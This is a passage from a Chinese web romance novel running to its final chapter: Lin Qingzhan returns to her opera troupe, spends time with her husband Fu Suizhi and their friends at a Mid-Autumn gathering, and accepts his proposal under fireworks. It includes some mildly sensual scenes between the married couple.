他站起身,低头看了一眼软瘫在木椅上的傅怀锦,眼神深处是复杂的,带着某种孤冷的隔阂和背痛。 傅怀锦不是没有怀疑过傅清檐,但他从来没有想过自己的枕边人,竟然会对她的亲生孙女下手,此刻傅怀锦终于承受不住,直接被气晕过去。 傅随之让医生过来先查看,随后将人送去医院。 而傅清檐,当场被警察带走调查,后续的事情,法律自会给一个公平的结果。 走出傅氏老宅时,身后的喧闹还在继续,今晚老宅注定无法熄灯。 局势已经彻底改变,傅随之不管不顾离开,他看一眼天边漫过的晚霞,想到的是林青盏那张柔美的脸庞。 他垂下眼眸,迈步往阶梯下走去- 林青盏在傅小敏和傅小灵的陪同下,去了望月台。 她刚下车,门口站着的几个晚辈看到她,高声叫着:“青盏师叔!” 傅小敏对他们招招手,往他们怀里放了一大把的巧克力,“快去跟你们两个师父说说,我们夫人回来了。” 几个小孩撒欢似地往里面跑去,“师父,师父!青盏师叔回来了!” 林青盏抬眸望着四合院上挂着的那牌匾,“望月台”三个字以前是金色,现在换成了浓重正统的黑色。 阮青山这人做事从来都是这样的,板正板正的,林青盏倒是不意外。 她抿着红唇,往院子里面走去。 兰青翎和阮青山刚巧走出来,和林青盏在院子门口碰上。 林青盏一身浅蓝色真丝长裙,乌黑青丝挽着半头发髻,细眉红唇,望着他们弯起嘴角笑,“师兄,师姐,我回来了。” 兰青翎跑过来,将她拥入怀中,“小盏,你这丫头,总算回来了!” 之前《优曲》节目播出后,林青盏在网上大火,兰青翎和阮青山在电视上看到她,曾经通过海城协会那边辗转联系上了林青盏。 兰青翎在电话里表达了对林青盏的思念,询问她这一年的情况。 林青盏简单言语告诉她近况,那之后林青盏将原来的手机打开,跟兰青翎有保持着联系。 但时隔一年的见面,兰青翎和阮青山还是很激动。 他们拉着林青盏往里面走,在院子里的小凉亭坐下。 阮青山将洗好的巨峰葡萄推到林青盏面前,“师兄刚去给你洗的,你以前最爱吃这个,口感刚好,不酸也不会很甜腻。” 林青盏捏着黑葡萄往嘴里塞,“你们都还好吗?” 阮青山:“我们就那样了,每天打开门就做生意,这两年有好的苗子,渐渐地往舞台上推。你走后,我们让小素顶了上去,不过终究是没你在的时候红火。” 林青盏点了点头,又和阮青山闲聊了两句。 因为前院有事,阮青山起身暂时离开。 兰青翎拉住她的手说道,“今天不凑巧,师父和师伯去旅游还没回来 ,等他们回来了,我告诉你。知道你回到浮城,他们肯定很开心。” 林青盏望着熟悉的院子,心中一股酸涩涌上来,“我也很开心。” 兰青翎看四下无人,才开口问:“你跟你哥相认了吗?” “嗯,是的。”林青盏疑惑,“我没告诉你这件事,你怎么会知道?” “我猜的。”兰青翎语焉不详,“我看你之前参加电视台录制,是用的林纾的名字,你以后是打算以林纾的身份生活吗?” 林青盏想了想,对她摇头,“林纾是我爸给我的身份,我自然是不可能丢。但我从小都是顶着林青盏这个名字,以后应该也不会改的。” 兰青翎点头,“我看电视台报道,说你要和傅三爷结婚?” “我们已经领证了。” 兰青翎眼中满是震惊。 “不过办婚礼是另外一回事,我现在也没想好。” “这是终生大事,自然要好好想想。” 兰青翎歪着头看她,“小盏,总觉得你现在变得更沉稳了。不过我还是最在意,你现在过得是不是快乐幸福。” 林青盏抿唇笑,“那是当然。” “那就好。”兰青翎为她倒了杯茶,“有再上台的打算吗,望月台始终在这里等你。” 漂泊一年,见到贺兰承和傅随之时,她只是觉得好像终于可以松一口气了,只有此刻,坐在望月台的院子里,和兰青翎手拉手聊着天,林青盏才觉得彻底安下心来。 “我自然是要回望月台的,这是我永远的家!” 兰青翎捏了捏她的鼻尖,“你知道就好啊!” 在望月台待了一下午,傍晚时分,林青盏抬眸看到满天晚霞,终于站起身要离开。 她和阮青山说好了,之后过渡一段时间,还是会继续上台表演,毕竟这是她最爱的事业。 林青盏漫步走出望月台,跨过石头台阶时,不经意抬眸,和站在今安茶楼二楼的傅随之对上了眼。 远远的,她还是能看清傅随之那眼眸是很漂亮的浅棕色。 傅随之五官长得极为精致,脸庞轮廓更像是造物者细心雕琢过似的,即便这么久了,林青盏偶尔看着还是会觉得很惊艳。 她还在迟疑是否要上去,便看到他轻启嘴唇,无声说了句:“等我。” 话音落下,他转过身,从窗边彻底消失。 林青盏想起来,上一次两人在这里隔着窗户相望,是她单方面和他冷战那段时间,他在这里看到她和林博蘅说话,当时他冷着脸说的那句是:“上来!” 带着明显醋意又要极力压制情绪的命令语气。 而今日的神色却满是温柔。 很快,傅随之从今安茶楼门口走出,到她面前来,对她伸出了手掌。 林青盏将指尖搭在他掌心,“你什么时候过来的,事情都解决了吗?” “解决了。”傅随之将人搂过来,边应着:“之前是没证据,现在都找到了,事情要解决自然是很快的。人已经被带走了。” 林青盏随他搂过去,贴着他胸膛上了车。 秋日里,吹来的风带着凉意。 车门关上的同时,阻隔了所有冰凉,温暖的触觉从她纤细手臂往上攀,在她要起身时,将她紧紧箍住。 林青盏回眸瞪他。 这些时日,一上车,傅随之就会将她抱过去坐在他腿上,就是不让她下去。 她纤细指尖戳了戳他肩膀,倒是没有戳破他这近乎疯狂的迷恋。 下午的事情让他心情有些躁,他随手扯下领带缠绕着手腕,修长手掌捧起她的脸,低头压过来,热烈地吻住她。 柔软的触觉让她心猿意马,微启唇随着他直驱而入,夺走她的全部呼吸。 他身上带着冷冷的雪松味,缠绕在甜腻的气息间,让林青盏一时间有些沉迷,双手环住他的脖子,仰头去回应他的吻。 只是点点火苗,丢在这一片欲.望的森林里,瞬间燃起了熊熊烈火。 身上的真丝长裙被掀起来时,林青盏很庆幸这车换过特质的防弹玻璃,从外面看不到里面任何一丝光。 但挡板前面开车的秦楠和傅慎还在。 她不敢发出任何声音,双手压在玻璃上,指尖慢慢地蜷缩起来。 傅随之身上的黑色衬衫还在,压不住他炙热的体温。 他从背后抱住林青盏,手掌贴着她白皙下巴,将她的脸掰过来亲了亲,而后重重压下去。 林青盏受不住,手掌抵着他胸膛将人推开,下一秒,被撞到玻璃上,她举起手掌扶着,仰起头,看到了窗外闪过的霓虹。 刚好到了路口,拐角处的商厦屏幕上在播放海城电视台前段时间对她的专访。 屏幕上,将长发绾起的林青盏面对镜头,露出甜美的笑容。 “林纾是当时在海城要表演时想到的名字,其实我之前一直在浮城望月台长大,我的名字叫林青盏。” 傅随之听到外面屏幕上她说话的声音,压过来贴着她微凉的后背,为她揉了揉。 “想好了吗,要换回林青盏这个名字?” 林青盏此刻感受太过强烈,很努力才能分神去思考这个问题。 当时在海城,她想着远离浮城,而且身份证件都是林青盏这个名字,为了避免被傅随之查到,就不敢再用了。 云雪棠询问她名字的时候,她脑海里闪过的是“林纾”这个名字。 这是爸爸留给她的名字,她自然是喜欢的,但她不想因为这个身份,给贺兰承和傅随之带来麻烦。 更何况,她从小到大所有证件都是“林青盏”这个名字,要变换太麻烦了。 她纤细手掌压在玻璃上,忍了很久才开口,“其实换不换,我身边的人都会知道我是林纾,至于外人怎么称呼我并不重要。用林青盏这个名字,方便。” “好。” 这话一落,傅随之彻底压下来。 林青盏咬住红唇。 傅随之觉得不够,低头找到她的唇,亲吻片刻,转而含住她的耳垂,“不管你是林纾,还是林青盏,都是三哥最珍重的人。” 他双手捧着她,像是捧着这世上最为璀璨夺目的宝—— 作者有话说:这章和前面的名字都改成了“ 林青盏”,之前写的时候一直觉得有点割裂感,会换来换去的,觉得还是统一以林青盏的名字来描述哈- 接下来全部是甜甜的日常! [加油][加油][加油][加油][加油] 第84章 黑色迈巴赫停靠在他们之青府门口,缓了许久,傅随之将包裹着黑色西服的林青盏抱下车,径直往房间走去。 当初,傅随之怕林青盏心灰意冷,为哄她开心,急着要和她完婚,就从纪时礼手里夺了这宅子过来,叫人重新修缮,要当做两人的婚房府邸。 修缮程度很浅,因为老宅保持得很好。 纪时礼暗恋舒蝶,苦于舒蝶是他哥哥名义上的未婚妻,始终只能将情绪放在心底,可又觉得太苦,时常幻想能和她在一起,偷偷买了个宅子。 装修风格偏新中式,跟五大家族原来的老宅不同,没有完全的古风古韵,而是以园林设计为主,加入了新中式风格,和各种摆件,有着古韵味道,又显得很有生气。 林青盏很喜欢,因此傅随之就打算最近暂时都住这边。 傅随之抱着林青盏,路过黛瓦灰墙的长廊,走进他们的房间。 没等绕过屏风去里面的卧室,傅随之将人放在外头的新中式罗汉椅上,欺身过去舔她的唇。 初始,他对她的身体就有着深深的迷恋,那会儿他还傲着性子,只是偶尔放纵,现在两人领了证,是合法夫妻了,他倒是不管不顾,完全放纵起来。 她身上包裹的黑色西装外套被拉开,露出她白如雪凝的肌肤,浅蓝色真丝长裙凌乱不堪,被他手掌贴着她手臂慢慢剥落,像是含苞待放的花蕊,美丽动人。 他低头,亲了亲她的唇角,转而去贴着她肩膀吻了吻,低头咬住她线条优美的锁骨,落下红色牙印,舌尖又去舔了舔。 林青盏觉得痒,手掌贴着他胸膛将人推开些许,这才再次对上傅随之那满是欲.望的眼眸。 她舔了舔嘴唇,“有点渴。” 刚刚那样大的运动量,嘴唇被他吻得都干涩了,这时候只觉得满身是火,干渴难耐。 傅随之在她额头亲了亲,扶着她躺好。 他起身走去原木桌前,倒了杯温水过来,坐在她身旁,将她扶起来让她靠在自己怀里,这才将青瓷茶杯递到她唇边,喂着她喝下去。 喝完水,林青盏抬眸,看到他身上的黑色衬衫扣子被解开了两粒,露出结实的胸肌,以及胸口那两朵唯美的海棠花。 她目光流连片刻,转头看向其他地方。 傅随之的声音随即压了下来,“羞什么,天天看。” 林青盏抿唇,故意戳了戳他,“你还说。” “有什么不可说的。”傅随之现在手持结婚证,什么荤话都说得坦坦荡荡的,“别说看,你想怎么摸都行。” 林青盏娇嗔瞪他,故意呛声,“外人都说傅三爷冷傲无情,真应该让他们看看你现在这模样。” 衣衫不整,看似狼狈,那双浅棕色眼眸却带着勾人的情.欲。 铺着软垫的罗汉床很舒服,林青盏转过身躺在他腿上,问起今天去傅氏老宅的事情。 听到他说找到傅于然,林青盏和傅氏那些老顽固一样震惊,清澈眼眸瞪大,嘴角挂着喜悦,“你找到小于然了?” “去海城找你时,已经有点头绪。”傅随之抓着她的长发,感觉很柔顺,不自觉缠绕在指尖玩了玩,“那时候顾着要追你回来,没敢离开,好不容易有空去了一趟临城,让傅慎去送了邀请函,想请她见个面,不过被退回来了。” 林青盏抬眸看他,“你让傅慎去送邀请函,是怎么想的?” 一句话问得云淡风轻,但言外之意太过明显,就是说他聪明一世,怎么在这件事上犯了糊涂,放着八面玲珑的秦楠不用,反倒是让傅慎去送邀请函。 “当时想着傅慎沉稳点,秦楠这人嘴尖牙利,怕冲突了她。” 这个忧虑倒是在理。 林青盏问:“你当时怎么也没亲自去一趟?” 傅随之解释:“她小时候被送去孤儿院,阴错阳差到了我那小姨棠倩家中,后来又和临城顾家那位掌权人顾北忱结了婚。顾家也不是什么随意的地方,而且我对她之前的生活一无所知,不知道她是不是愿意认我,怕直接冲过去,让她难做不说,还打扰了她生活。” 傅随之在傅于然的事情上,总是小心翼翼的。 “邀请函被退回来,然后呢?” “我在茶楼等着,知道邀请函被退回来,就想着还是得亲自去一趟顾家,没想到她让人送了个锦盒过来。” 林青盏疑惑,“锦盒?” “里面装着她的头发。” 林青盏明了,“她想先确认你们之间的关系,才决定这门亲认是不认。” “是。” 傅随之倒是也赞同这种做法,就让秦楠安排人过来做了亲子鉴定。 在这之前,他其实已经让傅慎将她的资料查清楚了。 她现在叫裴南枝,是临城电视台当红主持人,之前在裴家好像过得不是很好,不过有哥哥裴阅撑着,没让她受太多的苦。 和顾北忱结婚后,顾北忱对她也是极为宠爱。 顾北忱一脉和顾宴迟原是同个家族的。 顾宴迟的爷爷在浮城继承了家业,他的叔祖父叛逆去了临城,之后在临城发展成了首富,有了顾北忱这些子孙。 顾北忱和顾宴迟是兄弟,之前傅随之还见过他,倒是没想到后来会有这样的渊源,他竟然和傅随之妹妹走到了一起。 亲子鉴定结果没多久就出来了,傅随之亲自将结果送去的,那边一时间没有答复,他也不着急。 毕竟只要她过得好就成。 他有的是时间等候。 傅随之:“小于然现在长得亭亭玉立的,落落大方,很有气质,也有自己热爱的事业。” 林青盏举起纤细手指去捧着他脸颊,“找到人,看到她过得如此幸福,你的心终于可以落下了。” 傅随之抓住她的手掌,贴在嘴唇亲了亲,将人抱起来,再次吻住她的唇。 一整晚,傅随之搂着她没有放手过。 隔天清晨,林青盏在晨光里醒过来,转身看到房间里的青竹屏风,缓了片刻才意识到自己在何处。 之前一年多都住在海城,早晨醒来就会闻到空气里有淡淡的海盐味道,现在回到浮城一时间还有些不习惯。 她起身去洗浴室洗漱,片刻后走出来,已换上锦绣缎面连衣裙,很浅的青色,宽厚裙摆绣着浅浅的蝴蝶,灵动漂亮。 她没有上妆,长发随意用青簪绾起了半头发髻,白皙脸蛋犹如剥了壳的蛋很是嫩滑,细眉弯弯,嘴唇是浅浅的粉,带着天生丽质的素净,是极为漂亮的。 整理好后,她走出房间,绕着新中式的环形木梯往下走,原本是想去找傅小敏她们,没想看到傅随之还在。 他和浮梦今安其他几位坐在客厅的U字型木沙发上,身体悠然往后靠,搭在扶手的手腕戴着银色手表,衬托得他气质更是肃然。 重逢后,他在她身旁时,态度总是虔诚的臣服的,是将他骨子里带着的那点危险气势极为克制压下去的,她都快忘记这人是个冷漠肃然的阴狠人物。 这会儿看到他和浮城的一群大佬坐在一起,身上不自觉透出的那股强势上位者气场,林青盏记忆深处的那些感觉才被重新勾了回来。 她寂静站在楼梯口,没有出声,但他还是有感觉似的转身看过来,目光落在她身上,眼眸深处的那股阴狠再次被压下去,对她露出浅浅的笑。 “起来了。” 他伸出手臂,叫她过去。 林青盏向其他四位点了点头,挪步走到他旁边坐下,随即被他勾着纤细腰肢带过去,贴在他胸膛之上。 “饿不饿?” 他的声音响在她耳廓,气息落下,惹得她有些发热。 她点了点头,“我刚刚是想去找小敏,让她给我备下早餐的。” 他手掌贴着她脖颈的头发揉了揉,没去弄乱她的发髻,“刚刚就准备好了,上去看你还睡着,就没吵醒你。估计还温着,我让她们给你端过来。” 林青盏看了眼在座的几位,没见有女眷,想着他们估计是在谈工作,便说道:“我自己过去找她们就好了。” “没事,让秦楠去。” 傅随之回眸看了眼秦楠,秦楠点头,转身去叫傅小敏姐妹过来照顾。 林青盏没来得及说什么,感觉到他那宽厚的手掌贴着她单薄脊背往下,她脑海里突然想到昨晚,他抱着她坐在房间罗汉椅上,手掌也是如此捏着她的腰,支撑着她不停上下。 脑袋里轰然炸开,她羞得耳廓都红了。 偏偏傅随之还要拿手背来贴她的脸蛋,“热吗?脸怎么这么红?” 她赶忙推开他的手,“还好。” 这么多人都在呢! 傅随之并不在意,捧着她的脸颊揉了揉,“看来最近将你体质养好了些,都秋天了还热。” 林青盏算是看出来了,这人就是故意的! 她气不过,往他腰间拧了一把,傅随之又故意倒吸了口气,压根没想压住声音。 林青盏:“……”演什么?! 这下明眼人都知道他们在做什么小动作了! 纪时礼最看不得谈恋爱的傅随之,感觉脑壳坏掉了一样。 他嫌弃地瞥了一眼,“傅三,你行行好吧,我们都在!” 听言,傅随之终于抬起眼眸看了看他们,“噢,都给忘了。” 纪时礼:?? 要不我们走!! 第85章 傅随之过于肆无忌惮,把所有心思都挂在林青盏身上,不顾场合。 他可以不看其他几位的脸色,她却是不好意思这样,干脆推开他的手,说要去吃个早餐,起身离开客厅。 之青别墅这里的一楼都是待客之处,分了大小餐厅 ,林青盏只一个人吃早餐,就让傅小敏和傅小灵将早餐送到小餐厅,自己慢慢享用。 她边喝着燕窝牛奶,随意拿起手机,看到顾蝉发来了语音,声音有点松软,像是刚睡醒。 “小盏宝贝,你睡醒了吗?我哥说你们家那个今天请客,要去你们家提前过中秋。那群男人太无聊,我想等你起来再去。” 这事昨天傅随之提了一句,当时她困得很,压根不想理他,刚刚看到乌泱泱的人,才想起来。 林青盏回消息过去,「我也刚醒,在吃早餐。你现在过来么,我让人给你准备早餐。」 「好。」 顾府到这里不远,半个小时后,顾蝉风风火火走进来。 林青盏亲自为她端了早餐到跟前,顾蝉垂眸看了眼面前的燕窝牛奶,心底甜蜜蜜的,“谢谢宝贝。” 她喝了口,拿起三明治,“小盏宝贝,你知不知道自从你回来浮城后,我的幸福指数直线上升。” 她圈内认识的姐们不少,都不算深交,平日里应付时间还可以,真正让她觉得在一起很舒服的,就是林青盏。 林青盏捏了捏她的鼻子,“我们顾小姐的幸福不是挂在你哥哥身上么?” “那不一样。他给我的是□□,你给我的才是真的幸福。” 林青盏真是服了这人,说话永远不忌讳。 “你哥听到这话,晚上不会把你吊起来打吗?” 顾蝉笑,“你怎么知道他没有把我吊起来打。” “……”总觉得这怎么听都不像是正经话。 顾蝉见她耳廓像是撒了腮红般变了颜色,逗她的心思更甚,“你跟傅随之领证多久了,你们战况恐怕只会比我们激烈。你到现在还会羞呢?” 林青盏戳了戳她肩膀,“你以为谁都跟你一样啊。” 顾蝉故意往旁边倒,“哎,被你戳受伤了,待会要给我赔偿的。” 林青盏哼了声。 顾蝉笑着继续吃三明治,“待会娜娜和舒蝶姑娘也会过来,你现在是傅家主母,这是你的地盘,得你来招待了。” 之前傅随之带林青盏出去玩的时候,多半都是顾蝉在照顾她 一是因为顾蝉和他们几个比较熟悉,二是那时候林青盏和傅随之还没正式结婚,有些事情不好出面。 现在他们两人已经领证,傅随之不仅对外宣告两人要结婚的喜讯,还特意为她置办了这么一座宅子,要将傅家的府邸都迁移过来,明摆着什么都以她为主。 今天这聚会是在这里举行,自然得她来做这女主人招待客人。 答应和傅随之结婚时,她便有所准备,听言点头答应下来。 毕竟她也不是一年前的林青盏了。 “对了,我不在这期间,怎么娜娜和徐泽也结婚了,连纪时礼和舒蝶姑娘也是?!” “这事说来话长。娜娜之前不是交了个男朋友嘛,都到谈婚论嫁的地步了,没想到那男的真不是东西,竟然脚踏两只船,还为了初恋冷落娜娜,结婚前跑了。娜娜那人的性情一直要强,觉得发出去的消息不可能收回,她就做了个惊人的举动,当场换老公!” 倒是像唐郁南会做得出来的事情。 “浮城豪门圈的单身男性不少,但是能让娜娜看得上的没什么人,她和徐泽也从小关系就好,所以她选择了徐泽也。” 林青盏:“其实我之前一直觉得她和徐泽也很相配。” “我们小盏宝贝真聪明。我听我哥说,其实徐泽也暗恋娜娜很久了。” “哇。” 徐泽也看着极为沉稳阴狠的一个人,林青盏想象不出他暗恋一个人的姿态。 “那纪时礼和舒蝶姑娘?” “舒蝶姑娘本来是纪时安的未婚妻,不过纪家人看不上她。半年前纪时礼出去谈生意意外失踪了,去探查的人传回来消息,说人应该是没了,纪家人就想把她赶出门,是纪时礼娶了她将人留下的。” “我之前好像听过他们的只言片语,是说他喜欢舒蝶姑娘很久了?” “是,他从小没人疼爱,哥哥嫂嫂对他最好,他很听纪时安和舒蝶的话,估计是对舒蝶有很深的迷恋吧。” 顾蝉歪头靠在她身上,“不过这事儿你听听就算了,他们之间的事情外人说不清,我们就权当不知道的。” “好。” 吃完早餐,林青盏和顾蝉起身去了客厅,看到唐郁南和舒蝶已经过来了,林青盏随即走过去和她们打招呼。 明天就是中秋佳节,凌晨开始,五大家族都会有自己的祭祖仪式,他们每年都是在前两天一起去今安茶楼喝酒。 今年林青盏刚回来,而且他们刚有了这新住处,傅随之不想到茶楼去,把人都叫过来之青别墅欢度中秋佳节。 闲聊了会儿,傅随之叫人安排了午餐,他们先美餐了一顿。 结束后,秦楠和傅慎将牌桌摆上,开始打.德.国.扑.克。 林青盏之前常和他们玩,早就对玩法了如指掌,现在牌桌上的新人是舒蝶。 舒蝶是学中医的,身上有一股很淡的药材香味,和林青盏花旦脸的典雅不同,舒蝶则是有着很沉稳的淡然,像极了隐匿山中的老者。 她压根不会玩牌,纪时礼在旁边三言两语解说了规则,始终坐在她旁边看着,偶尔开口指点一二。 舒蝶面色极为沉稳,出牌前会思考几秒钟,随后很果决出牌,速度很快 今天牌桌上都是女人的天下,林青盏、唐郁南和顾蝉她们三人为了给纪时礼面子,有意让牌,让得极为隐晦。 这事儿不好做,一下午下来,林青盏竟觉得有些累了。 到了五点,傅随之开口提醒,差不多可以过去吃饭,众人才作罢。 纪时礼站起身,摸了摸舒蝶的头发,“不错,很聪明。” 舒蝶从始至终波澜不惊的脸蛋终于有了一丝红,她看着纪时礼,“你教得好。” 纪时礼莞尔一笑,看着舒蝶的眼神很是温柔。 傅随之冷呵一声。 平日里总说他秀恩爱辣眼睛,现在到底是谁辣眼睛!! 纪时礼不爽看他,“你呵什么呵?” 被傅随之搂在怀里的林青盏顶着清澈明亮的眼眸看他,说出的话却很有傅随之的气势,直接呛了回去:“就是觉得舒蝶姑娘比较聪明的意思。” 傅随之笑出声,“说得对。” “……”纪时礼无奈,“果然近墨者黑,嫂子你已经被傅随之同化了。” “这叫‘不是一家人不进一家门’,就像你和舒姑娘一样。” 纪时礼瞬间就心情舒畅了,“还是嫂子会说话。” “谢谢夸奖。” 一群人说说笑笑起身,要往餐厅而去。 绵延长廊上,傅随之勾着林青盏的腰,她顺势往他肩膀靠过去。 他低头看她,“累了?” 她抬起眼眸,贴在他耳边小声说:“我总算知道当时你们陪我打牌时是什么感受了,要让牌还得让得高明,真不是件简单的事。” 傅随之低沉一笑,“看来真把我们小纾给累到了,改天有时间得提醒小疯子给劳务费。” “哄他老婆开心的劳务费?” “嗯。” “你倒是敢开口。”林青盏笑出声,“就不怕人家跟你讨债,毕竟当初他也陪着你哄老婆。” 她自然而然以他“老婆”的名义自称,这让傅随之觉得心情很愉悦,手掌贴着她腰捏了捏,喉咙上下蠕动,咽下的是他想亲她的欲望。 眼见餐厅到了,傅随之垂眸笑了声,收敛了所有思绪。 餐厅也是新中式风格,宽阔的圆桌摆放在中央,围绕一圈的是真皮餐椅。 所有人走过去,两两坐下。 明叔和李婶带着佣人,将美味佳肴一盘盘端上桌,还有米其林大厨在旁边解说菜肴,傅小敏等人在旁边帮忙布菜,桌上满是欢声笑语。 到了八点,众人闲聊起中秋放河灯。 顾蝉倚靠在顾宴迟怀里,笑着说起,“我记得小时候很喜欢放河灯,因为可以许 愿。那时候知道三哥家里中秋会放河灯,我老是缠着我哥要过来你家。后来知道中秋这日子对你不一般后,就再也不敢提这个要求了。” 在场的都知道傅随之的身世,知道中秋节是他父母的祭日,这像是一个雷点,许多年来众人都不敢随意提及。 顾蝉这会儿说完也有点后悔,对顾宴迟露出求救的眼神,顾宴迟将她搂入怀中,示意她无碍。 林青盏转身看傅随之,见他神色沉稳,好似没有波澜。 他甚至主动开口,“不是什么大事。这段时间刚好准备了很多花灯,你要想放,我们到湖边去。” 顾蝉看了看顾宴迟,一时间不敢答应。 顾宴迟揉了揉她的肩膀,替她应下来,“那去吧。反正很久没放过了。” 傅随之点头。 如此,一群人又起身慢慢往后花园走去。 林青盏拉着傅随之,落在后面。 她轻轻摇晃了下他的手掌,“不开心吗?” 傅随之看她,“真不开心,你哄不哄?” “那当然哄的。” 傅随之挑了挑眉,明显地愉悦,身体往她那边倾过去,“打算怎么哄?” 这人是存了心故意将身体的重量往她身上压,她一时间有些手忙脚乱,只顾得上抓住他西服领带不让自己往后倒。 等站稳后,她气得往他胸口捶了下,“待会两个人都摔倒了。” “我在,不会让你摔了。”他眼神炙热望着她。 她知道他在等她开口,“那要看你是为什么不开心?如果是想你爸爸妈妈,那我们明天就可以去看他们。” 蜿蜒长廊两边是假山和溪水,潺潺流水声很是舒缓,像是美妙的伴乐,还有锦鲤在荷叶下跳来跳去的,犹如另一番音符点缀。 傅随之面无表情,说出的话却不像他。 “我愁的是,我始终没有一个真正的家。所以我弄了这宅子,想跟你长相厮守。只是现在名不正言不顺的,我倒像是个寄人篱下的。” 寄人篱下。 林青盏笑出声。 前些时日,她才知道,当初将这宅子买过来时,是挂在她名下的。所以即便这宅子装修得再豪华,他往里面搬再多的东西,其实一个子都不是他的。 如今两人虽然领证了,但严格意义上来说,这算是林青盏的婚前财产。前两天这人做得狠了些,林青盏还开玩笑说要将他扫地出门。 傅随之抓着她的手凑到唇边吻了吻,“小纾,我们结婚,好不好?” 她自然知道他说的是办婚礼,不过林青盏没冲动答应,只说:“那我得好好考虑。” 傅随之垂着嘴角,竟是一副失落神色,“方才还说愿意好好哄我。” “你少给我下套。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第86章【终章】 第86章 之青别墅的小海棠苑是依照傅氏老宅的海棠苑复刻的,后花园里有一片很宽阔的人工湖,在幽暗夜里泛着黝黑的光影。 傅小敏几人将河灯全都搬过来,一盏盏点亮,递给在场几位女士,让她们慢慢往河里放。 林青盏蹲下身去放河灯,身上的青色锦绣缎面连衣裙,垂落下来,宽厚裙摆绣着的蝴蝶,在这黑夜里更显得栩栩如生。 傅随之一身黑色西服,矜贵至极,垂眸望着地上的人儿,眉眼间满是温柔。 不过半个小时,人工湖面满是飘飘荡荡的河灯,像是将星空拉下来铺在湖面似的美丽。 林青盏抬起头来,望着傅随之,满脸灿烂笑容,“还记得那时,我在海棠苑对河灯许下的愿望么?” 傅随之“嗯”了声。 林青盏跳起身来,环住他的脖子,比星光还闪耀的眼眸望着他,“我再次许愿你永世喜悦安康。” 傅随之郑重其事地点头,“好。” 林青盏心满意足转身看向海棠花灯漂浮到湖中心,傅随之环住她的腰,低头在她耳边说,“我还有个心愿,今天能不能帮我实现?” 听言,她点了点头刚想说可以,忽然想到了什么,抬眸望向他,就是不说话。 下一秒,天空中炸开绚烂的烟花,像是花瓣洒落下来,美丽至极。 顾蝉已经尖叫出声,对着天空大喊,“好看!!” 一声清亮的呼啸划破长空,所有人都被吸引了目光,仰起头,便看到紫红色的光轰然绽放,在夜空里开出美丽的海棠花。 紧接着又是清脆一声,像是仙女不停地洒落美丽的花瓣,在绽放的花瓣里,夜空迎来了最美丽的图案——两个求婚场面的小人图案! 所有人有所感知,转头看向他们这边,眼中满是浪漫的羡煞。 林青盏忽然反应过来,顾蝉这么高情商的姑娘,怎么会突然提及放河灯的事情来点破傅随之的伤心,所以他们是窜通好的,故意引诱她过来的。 就这么,她看到天空里腾起一句话:「嫁给我,好不好?」 傅随之低头贴在她耳廓,用低沉的声音叫她名字。 林青盏对上他的浅棕色眼眸,不是没有预想过,只是当事情发生还是会发懵。 傅随之已经弯下腰,单膝跪地,打开绒盒子,将闪烁的钻石戒指递到她面前,“小纾,我的前半生孤冷傲然,直到遇见你,才感觉自己重塑出血肉。往后余生,我只为你活着。跟我结婚,好不好?” 几乎没有迟疑,林青盏对他伸出手掌,让他为她戴上璀璨明亮的戒指。 傅随之站起身,将她紧紧搂入怀中,宛如抱着珍宝,万分怜惜。 灿烂烟花下,西装革履的矜贵男人抱着身姿窈窕的女人,成了最浪漫唯美的画。 看着这场景,顾蝉扑进顾宴迟怀里大哭。 他笑着揉了揉她的头发,“看闺蜜被求婚就哭成这样?那改天我跟你求婚,你不得哭成泪人?” 顾蝉豁然抬眸,“那我才不哭!你跟我求婚不是应该的!” 顾宴迟宠溺地笑着- 求婚极为顺利,傅随之原是想着差不多就结束这场聚会。 纪时礼却不乐意了,“你这是利用完我们就想让我们滚?别想!” 然后,他死皮赖脸缠着傅随之要去他酒窖里拿几瓶好酒,今夜不醉不归。 傅随之虽想着要和林青盏说话温情,但耐不住纪时礼死缠烂打,最终和其他几人只能奉陪。 纪时礼把他酒窖里珍藏的好酒开了好几瓶,喝到半夜两点,还是撤退了。 除了徐泽也,其他四人现在任着家主之位,天明都要主持祭祖仪式,中秋节一整天还有很多事,到时候满身酒味出场终归是不好的。 众人离开后,傅随之缓缓起身往卧室的方向走去。 走廊上的花灯摇摇晃晃,晃悠得傅随之眼神有些迷离。 他摘下眼镜捏了捏鼻梁,让自己清醒了些才推开卧室的门。 房间角落里亮着一盏落地灯,透着暖橙色的光,林青盏躺在床上,侧脸压着真丝被,许是累了睡得很沉。 傅随之压住脚步声走过去,坐在床沿,垂眸盯着熟睡的人,手指抚在她轮廓,为她将碎发往后拂去,露出白皙恬静的脸庞。 他弯腰在她唇角亲了亲,眼神温柔,只是安静地看着。 林青盏翻了个身,不自觉伸了个懒腰,纤细手腕突然被握住,惊得她睁开眼睛,就对上那双幽深如夜的眼眸,胸口的心才安定下来,挪过去抱住他手臂。 “刚喝完么,多晚了?” 傅随之看了眼手腕戴着的腕表,“三点。” “你几点要过去老宅?” 虽然老宅很多东西都迁移过来,连傅清庭和棠傛的牌位也请了过来,但是宗堂不好动,中秋的祭祖还是得去老宅那边。 这种时节,基本全族的人都会到场,傅随之也不好晚到。 “四点去。” 她拉了拉他的手掌,“那只剩一个小时了,你赶紧躺下来休息会儿!” 傅随之脱掉满是酒味的西服衬衫,拉开被褥,在她旁边躺下,修长手臂勾住她的腰,从背后抱住她,完完全全地贴住。 本是想让他休息的,可是她又忍不住问,“你什么时候准备的烟花秀?” 傅随之很困顿,还是睁开眼睛看她,“小疯子想的主意,说求婚得隆重郑重,可以来一场烟花秀。我看前年放河灯,你很喜欢,就想着也带你放一放河灯。” “难怪李婶半个月前就叫来一帮人帮着做河灯,还做了好多海棠花河灯。”她纤细指尖点了点他的唇,“原来你蓄谋已久。” 傅随之抓住她的手指,笑了笑,“是,我蓄谋已久。你答应和我领证那天,我就在想,我要办最盛大的婚礼将你迎娶进门。” 当初因为家族和地位悬殊,他没有做到的事情,现在他有能力了,要加倍地给她! 房间里只角落里亮着一盏暖色的灯,凌晨时刻,他们止住声音,房间里寂静得不像话。 傅随之恍然想起来,她离开的那三百多个日夜里,傅随之每次回到这个房间,都会感觉心脏在痛,半夜醒来,看到房间空旷旷的,只能一遍遍想着她。 好在,现在人就在他怀里。 今年中秋得祭拜父母,总算能带他们的儿媳妇名正言顺去见他们。 林青盏的眼皮有些架不住往下掉,迷迷糊糊间,感觉到胸口有着炙热,是他的手开始作乱。 一个小时后就要起来,傅随之原本是不想现在办这件事,可抱着她,闻着她身上淡淡的香味,一切都有些不受控制。 